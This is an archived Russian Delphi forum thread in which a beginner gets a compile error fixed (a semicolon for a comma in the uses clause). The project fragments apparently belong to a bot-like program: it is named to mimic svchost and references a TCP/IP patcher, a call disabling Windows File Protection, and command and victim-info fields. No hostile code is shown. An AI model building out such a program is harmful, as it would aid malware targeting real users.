Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2011.10.23;
Скачать: CL | DM;

Вниз

Не добавляется модуль   Найти похожие ветки 

 
Koder ©   (2011-07-02 23:04) [0]

Не судите строго... так как я только осваиваю Дельфи (до этого С++)...
Начал недавно ковырять одну прогу и столкнулся с проблемой подключения новых модулей....
начну попорядку...

Сама прога

Код Delphi

program tester;

uses
Windows,
uConst,
uUtils,
uString,
uSystemInfo,
uWininet,
uControl,

и т.д.

к примеру

в Uses указана uControl,

которая вызывается ReleaseIt (в uControl.pas Procedure ReleaseIt)

Справедливо полагая что трабл не возникнет
я кинул в папку untTCPIPPatcher.pas
в Uses указал untTCPIPPatcher

далее прописал вызов ptcpip;

а на выходе получил вот что

[Error] tester.dpr(27): Declaration expected but identifier "untTCPIPPatcher" found

[Error] tester.dpr(55): Undeclared identifier: "Disable_WFP"

[Error] tester.dpr(148): Undeclared identifier: "ptcpip"

почему так получается.. что не так?

Заранее спасибо за дельные ответы..


 
И. Павел ©   (2011-07-02 23:36) [1]


> [Error] tester.dpr(27): Declaration expected but identifier
> "untTCPIPPatcher" found

Обычно эта ошибка возникает при несоблюдении синтаксиса. Т.е. компилятор не ожидал, что вы напишете untTCPIPPatcher. А две оставшиеся ошибки, скорее всего, следствия первой.

Покажите кусок кода в tester.dpr около 27 строки.


 
И. Павел ©   (2011-07-02 23:42) [2]

Модули можно добавлять с помощью IDE. В меню выберите project->add to project->в диалоговом окне выберите модуль.

В итоге объявление модуля добавится в секцию uses в dpr файле и будет выглядеть так:

mymodule in "mymodule.pas";

(т.е. имя файла модуля тоже нужно указывать)


 
Koder ©   (2011-07-02 23:42) [3]

program svchosf;

uses
 Windows,
 uConst,
 uUtils,
 uString,
 uSystemInfo,
 uWininet,
 uInstall,
  UnitWindows,
 shellapi,
  untSearch,
 Winsock;
 untTCPIPPatcher;  Вот 27 строка

var
 Thread ,Thread0  :Cardinal;
 idThread   :Cardinal;
 dThread    :Cardinal;
 tid        : Cardinal;
 Msg        :Tmsg;
 OldCommand :String;
 Username   :String;
 Country    :String;
 OS         :String;


 
И. Павел ©   (2011-07-02 23:44) [4]


> Koder ©   (02.07.11 23:42) [3]

После Winsock стоит точка с запятой а нужна просто запятая.


 
Koder ©   (2011-07-02 23:50) [5]

прокатило... большое спасибо... :)



Страницы: 1 вся ветка

Текущий архив: 2011.10.23;
Скачать: CL | DM;

Наверх




Память: 0.47 MB
Время: 0.005 c
2-1309633480
Koder
2011-07-02 23:04
2011.10.23
Не добавляется модуль


15-1309267589
SqlExp
2011-06-28 17:26
2011.10.23
Выбрать файлы за период.


15-1308860995
Юрий
2011-06-24 00:29
2011.10.23
С днем рождения ! 24 июня 2011 пятница


1-1269838322
Jamix
2010-03-29 08:52
2011.10.23
голосовой модем


2-1309782690
Criptonik
2011-07-04 16:31
2011.10.23
Вставка в Memo